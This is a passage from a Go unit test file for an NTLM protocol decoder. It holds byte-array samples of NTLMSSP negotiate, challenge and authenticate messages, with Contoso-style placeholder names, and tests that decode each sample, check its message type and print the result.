0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 221 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x61, 0x4a, 222 | 0x00, 0x00, 0x00, 0x0, 223 | } 224 | 225 | ChallengeMessageBytesSampleD = []byte{ 226 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 227 | 0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2, 228 | 0xe3, 0x52, 0x63, 0x2b, 0x6f, 0xae, 0xd1, 0xf5, 0x00, 0x00, 0x00, 0x00, 229 | 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00, 230 | 0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 231 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 232 | 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 233 | 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 234 | 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 235 | 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 236 | 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 237 | 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 238 | 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 239 | 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 240 | 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 241 | 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 242 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 243 | 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 244 | 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 245 | 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 246 | 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91, 0x85, 0xe8, 247 | 0xf7, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, 248 | } 249 | 250 | AuthenticateMessageBytesSampleD = []byte{ 251 | 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 252 | 0x18, 0x00, 0x18, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 253 | 0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0x58, 0x00, 0x00, 0x00, 254 | 0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00, 255 | 0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00, 256 | 0x15, 0x82, 0x88, 0xe2, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 257 | 0xec, 0x52, 0xec, 0x01, 0xff, 0x08, 0x19, 0xd5, 0xca, 0x96, 0xc8, 0x42, 258 | 0xb3, 0xe8, 0x75, 0xb6, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 259 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 260 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 261 | 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x44, 0x00, 262 | 0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00, 263 | 0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00, 264 | 0x35, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 265 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 266 | 0x00, 0x00, 0x00, 0x00, 0x62, 0x4e, 0xef, 0x9e, 0xf2, 0x90, 0x71, 0x08, 267 | 0xf4, 0x67, 0x7e, 0x42, 0x7a, 0x89, 0xee, 0x2e, 0x01, 0x01, 0x00, 0x00, 268 | 0x00, 0x00, 0x00, 0x00, 0x8b, 0x91, 0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01, 269 | 0xaf, 0xd2, 0xa4, 0xbb, 0xe2, 0x24, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00, 270 | 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 271 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 272 | 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 273 | 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 274 | 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 275 | 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 276 | 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 277 | 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 278 | 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 279 | 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 280 | 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 281 | 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 282 | 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 283 | 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 284 | 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91, 285 | 0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00, 286 | 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 287 | 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x14, 0x1a, 288 | 0x38, 0x76, 0xf8, 0x9c, 0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64, 289 | 0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0, 0xd6, 0x96, 0x37, 0x81, 290 | 0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0x34, 0xb4, 291 | 0xc6, 0x93, 0xe6, 0x05, 0xec, 0xf5, 0x37, 0x4d, 0xf9, 0x5a, 0xac, 0xa2, 292 | 0x6b, 0xf3, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 293 | 0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 294 | 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00, 295 | 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 296 | 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 297 | 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 298 | 0x00, 0x00, 0x00, 0x00, 0xeb, 0xdf, 0x0e, 0xc1, 0xf7, 0xde, 0xb8, 0x3c, 299 | 0x1c, 0xfe, 0x69, 0x25, 0xf7, 0x22, 0x16, 0x5a, 300 | } 301 | ) 302 | 303 | func TestDecodeNegotiateMessageSampleA(t *testing.T) { 304 | var err error 305 | 306 | NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleA) 307 | if err != nil { 308 | t.Errorf("error decoding negotiate message: %v", err) 309 | } 310 | 311 | spew.Dump(NegotiateMessage) 312 | } 313 | 314 | func TestDecodeChallengeMessageSampleA(t *testing.T) { 315 | var err error 316 | 317 | ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleA) 318 | if err != nil { 319 | t.Errorf("error decoding challenge message: %v", err) 320 | } 321 | 322 | spew.Dump(ChallengeMessage) 323 | } 324 | 325 | func TestDecodeAuthenticateMessageSampleA(t *testing.T) { 326 | var err error 327 | 328 | AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleA) 329 | if err != nil { 330 | t.Errorf("error decoding challenge message: %v", err) 331 | } 332 | 333 | spew.Dump(AuthenticateMessage) 334 | } 335 | 336 | func TestDecodeNegotiateMessageSampleB(t *testing.T) { 337 | var err error 338 | 339 | NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleB) 340 | if err != nil { 341 | t.Errorf("error decoding negotiate message: %v", err) 342 | } 343 | 344 | spew.Dump(NegotiateMessage) 345 | } 346 | 347 | func TestDecodeChallengeMessageSampleB(t *testing.T) { 348 | var err error 349 | 350 | ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleB) 351 | if err != nil { 352 | t.Errorf("error decoding challenge message: %v", err) 353 | } 354 | 355 | spew.Dump(ChallengeMessage) 356 | } 357 | 358 | func TestDecodeAuthenticateMessageSampleB(t *testing.T) { 359 | var err error 360 | 361 | AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleB) 362 | if err != nil { 363 | t.Errorf("error decoding challenge message: %v", err) 364 | } 365 | 366 | spew.Dump(AuthenticateMessage) 367 | } 368 | 369 | func TestDecodeNegotiateMessageSampleC(t *testing.T) { 370 | var err error 371 | 372 | NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleC) 373 | if err != nil { 374 | t.Errorf("error decoding negotiate message: %v", err) 375 | } 376 | 377 | spew.Dump(NegotiateMessage) 378 | } 379 | 380 | func TestDecodeChallengeMessageSampleC(t *testing.T) { 381 | var err error 382 | 383 | ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleC) 384 | if err != nil { 385 | t.Errorf("error decoding challenge message: %v", err) 386 | } 387 | 388 | spew.Dump(ChallengeMessage) 389 | } 390 | 391 | func TestDecodeAuthenticateMessageSampleC(t *testing.T) { 392 | var err error 393 | 394 | AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleC) 395 | if err != nil { 396 | t.Errorf("error decoding challenge message: %v", err) 397 | } 398 | 399 | spew.Dump(*AuthenticateMessage) 400 | } 401 | 402 | func TestDecodeNegotiateMessageSampleD(t *testing.T) { 403 | var err error 404 | 405 | NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleD) 406 | if err != nil { 407 | t.Errorf("error decoding negotiate message: %v", err) 408 | } 409 | 410 | spew.Dump(NegotiateMessage) 411 | } 412 | 413 | func TestDecodeChallengeMessageSampleD(t *testing.T) { 414 | var err error 415 | 416 | ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleD) 417 | if err != nil { 418 | t.Errorf("error decoding challenge message: %v", err) 419 | } 420 | 421 | spew.Dump(ChallengeMessage) 422 | } 423 | 424 | func TestDecodeAuthenticateMessageSampleD(t *testing.T) { 425 | var err error 426 | 427 | AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleD) 428 | if err != nil { 429 | t.Errorf("error decoding challenge message: %v", err) 430 | } 431 | 432 | spew.Dump(*AuthenticateMessage) 433 | } 434 | 435 | func TestFullDecodeSampleA(t *testing.T) { 436 | decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleA) 437 | if err != nil { 438 | t.Errorf("error decoding message: %v", err) 439 | return 440 | } 441 | 442 | switch v := decodedNegotiateMessage.(type) { 443 | case *NEGOTIATE_MESSAGE: 444 | spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) 445 | default: 446 | t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) 447 | } 448 | 449 | decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleA) 450 | if err != nil { 451 | t.Errorf("error decoding message: %v", err) 452 | return 453 | } 454 | 455 | switch v := decodedChallengeMessage.(type) { 456 | case *CHALLENGE_MESSAGE: 457 | spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) 458 | default: 459 | t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) 460 | } 461 | 462 | decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleA) 463 | if err != nil { 464 | t.Errorf("error decoding message: %v", err) 465 | return 466 | } 467 | 468 | switch v := decodedAuthenticateMessage.(type) { 469 | case *AUTHENTICATE_MESSAGE: 470 | spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) 471 | default: 472 | t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) 473 | } 474 | } 475 | 476 | func TestFullDecodeSampleB(t *testing.T) { 477 | decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleB) 478 | if err != nil { 479 | t.Errorf("error decoding message: %v", err) 480 | return 481 | } 482 | 483 | switch v := decodedNegotiateMessage.(type) { 484 | case *NEGOTIATE_MESSAGE: 485 | spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) 486 | default: 487 | t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) 488 | } 489 | 490 | decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleB) 491 | if err != nil { 492 | t.Errorf("error decoding message: %v", err) 493 | return 494 | } 495 | 496 | switch v := decodedChallengeMessage.(type) { 497 | case *CHALLENGE_MESSAGE: 498 | spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) 499 | default: 500 | t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) 501 | } 502 | 503 | decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleB) 504 | if err != nil { 505 | t.Errorf("error decoding message: %v", err) 506 | return 507 | } 508 | 509 | switch v := decodedAuthenticateMessage.(type) { 510 | case *AUTHENTICATE_MESSAGE: 511 | spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) 512 | default: 513 | t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) 514 | } 515 | } 516 | 517 | func TestFullDecodeSampleC(t *testing.T) { 518 | decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleC) 519 | if err != nil { 520 | t.Errorf("error decoding message: %v", err) 521 | return 522 | } 523 | 524 | switch v := decodedNegotiateMessage.(type) { 525 | case *NEGOTIATE_MESSAGE: 526 | spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) 527 | default: 528 | t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) 529 | } 530 | 531 | decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleC) 532 | if err != nil { 533 | t.Errorf("error decoding message: %v", err) 534 | return 535 | } 536 | 537 | switch v := decodedChallengeMessage.(type) { 538 | case *CHALLENGE_MESSAGE: 539 | spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) 540 | default: 541 | t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) 542 | } 543 | 544 | decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleC) 545 | if err != nil { 546 | t.Errorf("error decoding message: %v", err) 547 | return 548 | } 549 | 550 | switch v := decodedAuthenticateMessage.(type) { 551 | case *AUTHENTICATE_MESSAGE: 552 | spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) 553 | default: 554 | t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) 555 | } 556 | } 557 | 558 | func TestFullDecodeSampleD(t *testing.T) { 559 | decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleD) 560 | if err != nil { 561 | t.Errorf("error decoding message: %v", err) 562 | return 563 | } 564 | 565 | switch v := decodedNegotiateMessage.(type) { 566 | case *NEGOTIATE_MESSAGE: 567 | spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE))) 568 | default: 569 | t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v) 570 | } 571 | 572 | decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleD) 573 | if err != nil { 574 | t.Errorf("error decoding message: %v", err) 575 | return 576 | } 577 | 578 | switch v := decodedChallengeMessage.(type) { 579 | case *CHALLENGE_MESSAGE: 580 | spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE))) 581 | default: 582 | t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v) 583 | } 584 | 585 | decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleD) 586 | if err != nil { 587 | t.Errorf("error decoding message: %v", err) 588 | return 589 | } 590 | 591 | switch v := decodedAuthenticateMessage.(type) { 592 | case *AUTHENTICATE_MESSAGE: 593 | spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE))) 594 | default: 595 | t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v) 596 | } 597 | } 598 | --------------------------------------------------------------------------------